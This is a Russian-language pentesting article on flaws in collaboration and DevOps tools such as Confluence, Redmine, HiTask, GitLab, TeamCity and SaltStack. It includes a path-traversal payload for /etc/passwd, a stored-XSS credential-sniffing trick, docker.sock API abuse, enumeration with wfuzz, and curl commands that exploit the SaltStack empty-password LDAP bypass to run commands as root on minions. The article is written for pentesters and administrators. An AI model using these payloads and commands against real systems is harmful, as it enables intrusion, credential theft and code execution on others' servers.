Уязвимости в сервисах совместной разработки

Уязвимости в сервисах совместной разработки

В этой статье я расскажу про самые серьезные уязвимости в сервисах совместной разработки программистов и IT-шников. Данная информация будет полезна, как пентестерам, так и админам, которые смогут улучшить защиту своих ресурсов.

Еще по теме: Обзор лучших сканеров уязвимостей

Confluence

Confluence — это прос­транс­тво для коман­дной работы, осо­бен­но удоб­ное при уда­лен­ке. Здесь мож­но сов­мес­тно накап­ливать зна­ния.

Глав­ное для нас — то, что здесь при­мер­но та же исто­рия, что с Jira: пер­вые две проб­лемы (stack trace и управля­ющие пор­ты) оди­нако­вые, а об еще одной я сей­час рас­ска­жу.

На сей раз нас будут инте­ресо­вать сле­дующие URL:

  • https://confluence.company.hack/rest/api/space
  • https://confluence.company.hack/rest/api/content
  • https://confluence.company.hack/rest/api/space/{SPACEKEY}
  • https://confluence.company.hack/rest/api/content/{ContentID}

По­нят­но, что откры­тые space мы можем читать и так, без авто­риза­ции, так что кажет­ся, буд­то ничего инте­рес­ного тут нет.

Уязвимость Confluence

На самом деле уяз­вимость есть и проб­лема край­не похожа на blind JQL из Jira, но тут встро­енный язык называ­ется CQL — ста­ло быть, и герой у нас blind CQL.

Им­пакт у уязвимости такой же — мы можем вос­ста­нав­ливать содер­жимое зак­рытых спей­сов, да и усло­вие здесь то же самое: дол­жны быть уста­нов­лены груп­повые пра­ва дос­тупа, а не инди­виду­аль­ные. Как пра­вило, так оно и быва­ет в боль­ших ком­пани­ях.

Не беги рань­ше вре­мени искать тор­чащие в интернет Confluence. В недав­нем обновле­нии Jira проб­лему пофик­сили, поэто­му сей­час ее мож­но встре­тить, толь­ко если сис­тема уже мно­го месяцев не обновля­лась. И Confluence тоже, разуме­ется.

Redmine

Redmine — это еще один популяр­ный тре­кер задач.

Уязвимость Redmine

Здесь все выг­лядит безопас­но, но один неболь­шой косяк я таки нашел — XSS.

Воз­ника­ет он тог­да, ког­да мы вмес­то ссыл­ки встра­иваем исполня­емый код, как на скрин­шоте.

Уязвимость Redmine

Спец­теги его собс­твен­ные — вос­кли­цатель­ные зна­ки, внут­ри которых мы переда­ем ссыл­ку, ско­боч­ки и какую‑то наг­рузку.

Вро­де бы это обыч­ная хра­нимая XSS: соз­даем вре­донос­ный тикет, человек откры­вает его, попада­ется на наш внед­ренный код, он у посети­теля отра­баты­вает.

Баги Redmine

Ни­чего осо­бен­ного, но есть один инте­рес­ный момент: с помощью этой шту­ки мож­но даже сни­фать пароли!

На под­кон­троль­ном нам хос­те мы на какой‑нибудь PHP-скрипт навеши­ваем basic-авто­риза­цию, и зап­рос на эту авто­риза­цию прог­ружа­ется в Redmine уже с нашего зло­го ресур­са. Век­тор доволь­но извес­тный, но до сих пор прек­расно работа­ет.

Уязвимость сервиса совместной разработки Redmine

Че­ловек заходит в нашу заряжен­ную запись и видит зап­рос на авто­риза­цию, где его про­сят ввес­ти логин и пароль. Находясь на Redmine-сер­вере ком­пании, он без опа­сений вво­дит учет­ные дан­ные, и они уле­тают к нам на сер­вер. На сво­ем сер­вере мы спо­кой­но рас­кодиру­ем из Base64 стро­ку — и получа­ем пару логин‑пароль поль­зовате­ля Redmine. Или даже от кор­поратив­ной учет­ки, если исполь­зует­ся LDAP.

Asana

Я понимаю, что тебе уже под­надо­ели вся­чес­кие таск‑тре­керы. Но в жиз­ни будет попадать­ся не толь­ко Jira, но и про­дук­ты помель­че. Знать их уяз­вимос­ти не то что­бы необ­ходимо, но может здо­рово облегчить пен­тест. А порой он может закон­чить­ся, даже не начав­шись, ког­да ока­жет­ся, что дырявый тре­кер дает дос­туп к самой раз­ной информа­ции, вклю­чая пароли сот­рудни­ков. К тому же, хоть эти уяз­вимос­ти и слож­но наз­вать типовы­ми, изу­чая такие баги, ты можешь здо­рово про­качать­ся.

Итак, еще один рас­простра­нен­ный таск‑тре­кер — это Asana, и здесь тоже есть очень инте­рес­ный момент. Пос­мотри, как выг­лядят наши куки:

soft_signup_user_id=5166376;
soft_signup_email=hac126%40mail.ru;
xi_ip=97.12.23.123; soft_signup_invitation_token=numeric_token-5166375-672796;
gtm_u_id=5166376;
dapulseUserId=5166375;
gtm_u_is_admin=true;
gtm_a_paying_value=0.0;

Оче­вид­но, что soft_signup_user_id — это айдиш­ник поль­зовате­ля, а soft_signup_email, соот­ветс­твен­но, элек­тро­поч­та юзе­ра. Налицо клас­сичес­кий обход авто­риза­ции, а потен­циаль­но и IDOR!

Зна­чит, если мы зна­ем, что человек с какой‑то поч­той зарегис­три­рован в этой сис­теме (а мы можем это пос­мотреть в самой сис­теме), мож­но переб­рать ID юзе­ра и попасть в его акка­унт.

Уязвимость Asana

Что я и сде­лал!

HiTask

Тут у нас XSS, но какая! Она находит­ся в тегах, так что потен­циаль­но ее мож­но раз­вернуть не толь­ко на кон­крет­ной стра­нице, но и вооб­ще по все­му сай­ту.

Ког­да соз­дает­ся тег, он рас­простра­няет­ся по все­му сай­ту и ста­новит­ся дос­тупен вез­де, то есть поразить этим мож­но вооб­ще всех поль­зовате­лей.

Демонстрация уязвимости HiTask
Демонстрация уязвимости HiTask

На этом дыры, само собой, не кон­чают­ся: тут еще есть хрес­томатий­ный LFI, но с одной инте­рес­ной осо­бен­ностью. Зак­люча­ется она в том, что имя заг­ружа­емо­го фай­ла переда­ется не в парамет­ре скрип­та‑заг­рузчи­ка, а в самом его име­ни.

Ра­бота­ет это так: внут­ри сидит скрипт, который пар­сит имя перемен­ной из наз­вания. Там есть prop_act_upload1, prop_act_upload2 и так далее, но если туда передать стро­ку — он спо­кой­но про­чита­ет файл по передан­ному адре­су.

Уязвимость HiTask
prop_act_upload../../../../../../../../etc/passwd%00

Экс­плу­ата­ция очень прос­та: соз­даем тикет с прик­реплен­ным фай­лом (attachment), в Burp перех­ватыва­ем и поп­равля­ем путь, а в ито­ге файл прик­репля­ется внут­ренний. Пос­ле это­го файл спо­кой­но ска­чива­ем и чита­ем.

LFI triggered
LFI triggered

Team Foundation Server

TFS — это хорошо извес­тная раз­работ­чикам шту­ка, которая встро­ена в Visual Studio. Фиш­ка тут в том, что у TFS есть воз­можность под­тягивать сто­рон­ние Git-репози­тории.

Смот­ри вни­матель­но: мы можем что‑то ска­чать по ука­зан­ному адре­су от име­ни Team Foundation Server. Я прос­то переб­рал все извес­тные при­ват­ные адре­са (под­сеть 192.168.0.0/24, 10.0.0.0/8 и так далее) на пред­мет наличия пап­ки .git — и нашел один внут­ренний репози­торий с кодом.

Уязвимость Team Foundation Server

Та­ким обра­зом, Team Foundation Server поз­воля­ет тас­кать зак­рытый исходный код из при­ват­ных под­сетей ком­паний.

TeamCity

TeamCity — это уже про деп­лой. Собс­твен­но, он поз­воля­ет авто­мати­чес­ки деп­лоить при­ложе­ния: ког­да мы написа­ли какой‑то код и заком­митили, он уле­тает в TeamCity и сам раз­верты­вает­ся на некото­ром сер­вере. А быва­ет и так, что сра­зу выкаты­вает­ся в прод.

Уязвимость сервиса совместной разработки TeamCity

В TeamCity есть такое понятие, как арте­факт: это любые изме­нения, отправ­ленные в TeamCity. У плат­формы есть стан­дар­тная учет­ка гос­тя, с помощью которой мож­но зай­ти и почитать откры­тые арте­фак­ты час­ти про­ектов.

Вся соль в том, что через это­го гос­тя мы можем тыкать API, через который отда­ется информа­ция и о зак­рытых про­ектах, даже если они недос­тупны гос­тю. Сре­ди про­чего через API вид­ны build ID, с помощью которых мож­но через тот же API дос­тать спи­сок всех свя­зан­ных арте­фак­тов и пря­мые ссыл­ки на них.

Баг TeamCity

Даль­ше все прос­то — про­ходим по этим пря­мым ссыл­кам и ска­чива­ем арте­фак­ты. Оста­новить взлом­щика может толь­ко Base64- (basic-) авто­риза­ция, то есть никакой модели ролево­го дос­тупа там нет.

Баг TeamCity

Docker

Docker (и LXD) слиш­ком популяр­ная шту­ка, что­бы не ска­зать о нем хоть пару слов. На вся­кий слу­чай напом­ню, что это средс­тво кон­тей­нериза­ции для раз­верты­вания при­ложе­ний в изо­лиро­ван­ной короб­ке.

Са­мо собой, из Docker при желании мож­но сбе­жать, и об этом мно­го раз говори­лось, но сей­час я покажу один популяр­ный мис­конфиг, который поз­воля­ет тыкать хост‑сис­тему даже без выхода из сво­его кон­тей­нера.

Ес­ли файл docker.sock про­киды­вает­ся на кон­тей­нер, то через него мы можем обра­щать­ся непос­редс­твен­но к Docker API на хос­те, то есть штат­ным curl дер­гать API и, к при­меру, соз­давать новые кон­тей­неры. Проб­лема воз­ника­ет при сле­дующей стро­ке запус­ка:

docker run -v /var/run/docker.sock:/var/run/docker.sock debian ls

Стро­ка запус­ка curl для вза­имо­дей­ствия с API выг­лядит так:

curl -s --unix-socket /var/lib/lxd/unix.socket a/1.0/containers/
{
 "type": "async",
 "status": "Operation created",
 "status_code": 100,
 "metadata": {
  "id": "439bf4a1-e056-4b76-86ad-bff06169fce1",
  "class": "task",
  "created_at": "2021-04-18T22:56:22.590239576

А вот и при­мер с LXD, но там все то же самое — раз­ница толь­ко в том, что Docker API сидит на пор­те 2375, а LXD — на 8443, а при обра­щении через Unix-сокет ука­зыва­ется дру­гой путь.

curl -s --unix-socket /var/lib/lxd/unix.socket a/1.0/containers/
{
 "type": "async",
 "status": "Operation created",
 "status_code": 100,
 "metadata": {
  "id": "439bf4a1-e056-4b76-86ad-bff06169fce1",
  "class": "task",
  "created_at": "2016-04-18T22:56:22.590239576

GitLab

Пер­вая проб­лема — это перех­ват исходных кодов из дру­гих ран­неров. Как извес­тно, эти ран­неры работа­ют на Docker, что авто­мати­чес­ки рас­простра­няет уяз­вимос­ти из прош­лого раз­дела на ран­неры GitLab CI.

Не буду пов­торять­ся — сра­зу перей­дем к механиз­мам экс­плу­ата­ции, которые реаль­ны, если ты вдруг можешь манипу­лиро­вать скрип­тами в ран­нерах.

Ска­ниру­ем свою под­сеть на наличие пор­та 2375 в поис­ках дру­гих ран­неров. Если это невоз­можно — ищем у себя docker.sock.

Об­раща­емся к API и выпол­няем свои коман­ды в най­ден­ных кон­тей­нерах.

За­бира­ем код отту­да.

Выг­лядит нес­ложно!

Пра­ва дос­тупа в GitLab — это одна боль­шая загад­ка, потому что снип­петы может читать через API вооб­ще кто угод­но. Снип­петы — это кус­ки кода, которые кто‑то оста­вил и которые, оче­вид­но, где‑то исполь­зуют­ся. Почему бы их не при­кар­манить?

API рас­кры­вает и дру­гие инте­рес­ные шту­ки. Нап­ример, безо вся­кой авто­риза­ции мож­но вытянуть метадан­ные про­ектов (кем и ког­да соз­даны, опи­сания и про­чее).

Project API
Project API

Ис­кать про­екты мож­но обыч­ным wfuzz вот так:

wfuzz -c -z range,1-10000 --sc=200 https://gitlab.company.hack/api/v4/projects/FUZZ

Wfuzz напал на цель

И еще одна фиш­ка, чтоб дваж­ды не ходить, — GitLab поз­воля­ет зап­росто перечис­лять вооб­ще всех сво­их поль­зовате­лей через тот же кри­вой API.

Уязвимость GitLab
https://gitlab.company.hack/api/v4/users/
Уязвимость GitLab
https://gitlab.company.hack/api/v4/users/2
Фиш­ка до сих пор рабочая — мож­но зай­ти на офи­циаль­ный GitLab и про­верить.

И еще кое‑что. Мож­но зап­росить https://gitlab.company.hack/%username%.keys, где %username% — ник иско­мого поль­зовате­ля, и получить пуб­личный ключ юзе­ра, если тот нас­тро­ил эти самые клю­чи.

К сожале­нию, нуж­но знать имя поль­зовате­ля, так что для пол­ноцен­ного перечис­ления этот спо­соб не годит­ся.

SaltStack

SaltStack — это цен­тра­лизо­ван­ная сис­тема исполне­ния команд на нес­коль­ких сер­верах.

Ар­хитек­тура у него при­мер­но сле­дующая: есть мас­тер‑сер­вер и так называ­емые минь­оны, на которые мы рас­кидыва­ем тре­буемые коман­ды.

В SaltStack есть три спо­соба авто­риза­ции: логин/пароль, plain text (из фай­ла) и LDAP. Нас будет инте­ресо­вать имен­но LDAP-авто­риза­ция, потому что мы по леген­де находим­ся в кор­поратив­ной сис­теме (пен­тестим ком­панию).

Од­нажды я заметил, что, если при вхо­де через LDAP передать пус­той пароль, авто­риза­ция про­ходит, а в отве­те воз­вра­щает­ся валид­ный X-Auth-Token. Вто­рой рам­кой на скрин­шоте отме­чен тот факт, что у нас все раз­решения, то есть делать теперь мож­но что угод­но.

curl -si POST https://saltstack.company.hack/login -H "Accept: application/json" -d username="" -d password="" -d eauth='ldap'

Уязвимость SaltStack

Проб­лема была переда­на раз­работ­чикам и исправ­лена, а впос­ледс­твии получи­ла иден­тифика­тор CVE-2018-15751.

1. С помощью access token из начала раз­дела получа­ем спи­сок клю­чей и сер­веров:

curl -i -H 'X-Auth-Token: 694a7dfa16.........cacfcb0d26650d21bd'  https://saltstack.company.hack/keys

Уязвимость SaltStack

2. Вы­пол­няем коман­ду на минь­онах:

curl -i -H 'X-Auth-Token: 694a7dfa168........cfcb0d26650d21bd'  -H 'Content-type: application/json'  https:/// -d '[{"client":"local", "tgt":"*", "fun":"cmd.run", "kwarg":{"cmd":"id"}, "eauth":"auto"}]'
Баг в SaltStack
Я есть root!

 

Как видишь, на некото­рых минь­онах мы сра­зу получи­ли рут. Шикар­ный плац­дарм для даль­нейшей ата­ки!

Sentry

Что такое Sentry? Это сис­тема цен­тра­лизо­ван­ного хра­нения оши­бок. В нее под­клю­чают­ся некие про­екты, в этих про­ектах могут про­исхо­дить ошиб­ки, а мы можем эти ошиб­ки отсле­живать в Sentry.

Здесь так­же есть гос­тевая учет­ка, но сде­лать с ней ничего не получит­ся.

Баг Sentry
Sentry под гос­тем

Но если из‑под гос­тевой учет­ки прой­ти по пря­мому URL, то мож­но выписать себе новый токен с любыми пра­вами.

Баг Sentry

Баг Sentry
Клю­чи

По токену получа­ем клю­чи, а с эти­ми клю­чами потом мож­но делать что угод­но: читать ошиб­ки, пра­вить про­екта­ми и так далее.

Выводы

Ба­ги в про­изводс­твен­ном ПО и пло­хие нас­трой­ки встре­чают­ся пов­семес­тно, и знать наибо­лее популяр­ные из них край­не важ­но. Чем боль­ше при­меров ты раз­берешь — тем боль­ше шан­сов, что смо­жешь сам что‑то най­ти. Я учил­ся как раз на таких раз­борах — зна­чит, смо­жешь и ты!

Еще по теме: Популярные сайты для поиска уязвимостей

ВКонтакте
OK
Telegram
WhatsApp
Viber

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *